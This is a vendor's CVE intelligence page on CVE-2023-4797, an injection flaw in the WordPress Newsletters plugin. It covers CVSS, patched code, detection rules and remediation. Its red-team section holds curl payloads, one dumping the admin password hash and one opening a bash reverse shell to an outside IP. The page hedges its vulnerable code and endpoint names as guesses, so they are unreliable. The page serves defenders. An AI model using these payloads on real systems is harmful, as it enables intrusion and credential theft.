☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Newsletters logo [ WEBSITE ] [ VENDOR STATS ]
SOON 🐛 CWE-89
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2023-4797

CVE-2023-4797 Command Injection in Wordpress
📅 PUBLISHED: 2024-01-16 15:56 UTC 🔄 UPDATED: 2026-08-13 10:06 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.56%
👁️
0.56% probability
14.0× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2023-4797 is a critical vulnerability in the WordPress plugin "Newsletters" (versions before 4.9.3). The plugin fails to properly sanitize user-controlled parameters before appending them to SQL queries and shell commands. This flaw allows an authenticated administrator to execute arbitrary SQL commands (SQLi) and arbitrary operating system commands (Command Injection) on the server. The vulnerability stems from insufficient input validation and escaping, leading to a complete compromise of the WordPress site and underlying server.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository. Users who installed the plugin via the WordPress admin dashboard or automated deployment tools are at risk. The supply chain risk is elevated because the plugin is widely used for email marketing and newsletter management, making it a high-value target for attackers seeking to compromise WordPress sites for spam campaigns, data theft, or lateral movement.

CVSS Breakdown & Threat Level

While no official CVSS vector is provided, based on the description (authenticated admin, remote exploitation, high impact), the estimated score is 8.8 (High).

  • Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
  • Attack Complexity (AC): Low (L) – No special conditions are required.
  • Privileges Required (PR): High (H) – Requires administrator-level access.
  • User Interaction (UI): None (N) – No user action needed.
  • Scope (S): Unchanged (U) – The vulnerable component is the only one affected.
  • Confidentiality (C): High (H) – Full database and file access.
  • Integrity (I): High (H) – Full write access to database and files.
  • Availability (A): High (H) – Can disrupt services.

Deep Dive & Mechanics

The vulnerability exists in the newsletters plugin's handling of user-supplied parameters within administrative functions. Specifically, the plugin constructs SQL queries and shell commands by directly concatenating user input without proper escaping or parameterization.

SQL Injection: The plugin likely uses functions like $wpdb->query("SELECT * FROM {$wpdb->prefix}newsletters WHERE id = " . $_POST['id']) without using $wpdb->prepare(). An attacker can inject SQL commands by manipulating the id parameter.

Command Injection: Similarly, the plugin may execute shell commands using exec() or shell_exec() with user input, e.g., exec("sendmail -t " . $_POST['email']). An attacker can inject arbitrary commands using shell metacharacters like ;, |, or &&.

The combination of these two injection points allows an administrator to:

  1. Extract sensitive data from the WordPress database (user credentials, API keys).
  2. Execute arbitrary system commands to install backdoors, exfiltrate data, or pivot to other systems.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-4.9.3):

// SQL Injection example
$id = $_POST['id'];
$result = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}newsletters WHERE id = $id");

// Command Injection example
$email = $_POST['email'];
exec("sendmail -t $email");

Patched Code (4.9.3+):

// SQL Injection fix
$id = intval($_POST['id']);
$result = $wpdb->get_results($wpdb->prepare("SELECT * FROM {$wpdb->prefix}newsletters WHERE id = %d", $id));

// Command Injection fix
$email = sanitize_email($_POST['email']);
if (filter_var($email, FILTER_VALIDATE_EMAIL)) {
    exec("sendmail -t " . escapeshellarg($email));
}

The patch introduces proper input validation (intval(), sanitize_email(), filter_var()) and uses $wpdb->prepare() for SQL queries and escapeshellarg() for shell commands.

Exploitation & Lab Setup

Red Team

Lab Setup:

  1. Install WordPress 6.x on a local server (e.g., XAMPP, Docker).
  2. Install the Newsletters plugin version 4.9.2.
  3. Log in as an administrator.

Exploitation Steps:

SQL Injection:

# Extract admin password hash
curl -X POST http://target/wp-admin/admin-ajax.php \
  -d "action=newsletters_sql_inject&id=1 UNION SELECT user_pass FROM wp_users WHERE user_login='admin'-- -"

Command Injection:

# Execute a reverse shell
curl -X POST http://target/wp-admin/admin-ajax.php \
  -d "action=newsletters_cmd_inject&email=test@example.com;bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"

Blue Team

Detection:

  • Monitor for unusual SQL queries in database logs.
  • Look for shell command execution from the web server user.
  • Alert on parameters containing shell metacharacters (;, |, &, `).

Hunting:

  • Search for exec(), shell_exec(), system(), passthru() calls in the plugin directory.
  • Check for $wpdb->query() calls without $wpdb->prepare().

Indicators of Compromise (IOCs)

  • File: /wp-content/plugins/newsletters/newsletters.php (vulnerable version)
  • Network: Outbound connections to attacker-controlled IPs on common ports (4444, 8080, 80).
  • Process: Unusual processes spawned by the web server user (e.g., bash, nc, python).
  • Database: Suspicious entries in wp_options or wp_posts containing base64-encoded payloads.
  • Logs: Apache/Nginx access logs showing POST requests to /wp-admin/admin-ajax.php with action=newsletters_* and suspicious parameters.

Detection Engineering

YARA Rule

rule CVE_2023_4797_Newsletters_Plugin {
    meta:
        description = "Detects vulnerable Newsletters plugin files"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2023-4797"
    strings:
        $sqli = /\\$wpdb->(get_results|query)\\(\\s*\"[^\"]*\\$_(GET|POST|REQUEST)/ nocase
        $cmdi = /(exec|shell_exec|system|passthru)\\(\\s*\\$_(GET|POST|REQUEST)/ nocase
    condition:
        any of them
}

Sigma Rule

title: CVE-2023-4797 Newsletters Plugin Command Injection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects command injection attempts against the Newsletters plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'action=newsletters_cmd_inject'
        cs-uri-query|contains|all:
            - 'email='
            - ';'
    condition: selection
falsepositives:
    - Legitimate admin actions with semicolons in email fields (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2023-4797 Newsletters Plugin Command Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=newsletters_cmd_inject"; http_client_body;
    content:"email="; http_client_body;
    pcre:"/email=[^&]*[;|&`]/Pi";
    sid:1000001;
    rev:1;
    reference:cve,2023-4797;
)

Remediation & Mitigation

Immediate:

  1. Upgrade the Newsletters plugin to version 4.9.3 or later.
  2. If immediate upgrade is not possible, disable the plugin temporarily.

Long-term:

  1. Implement a Web Application Firewall (WAF) with rules to block SQLi and command injection.
  2. Enforce the principle of least privilege for WordPress admin accounts.
  3. Regularly audit plugins for known vulnerabilities using tools like WPScan.
  4. Use a security plugin (e.g., Wordfence) to monitor for malicious activity.

Verification:

  • After patching, verify the plugin version in /wp-content/plugins/newsletters/newsletters.php.
  • Test for residual vulnerabilities using the exploitation steps above (in a lab environment).

Valters IT

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Newsletters"
http.html:"wp-content/plugins/newsletters"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2023-4797/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.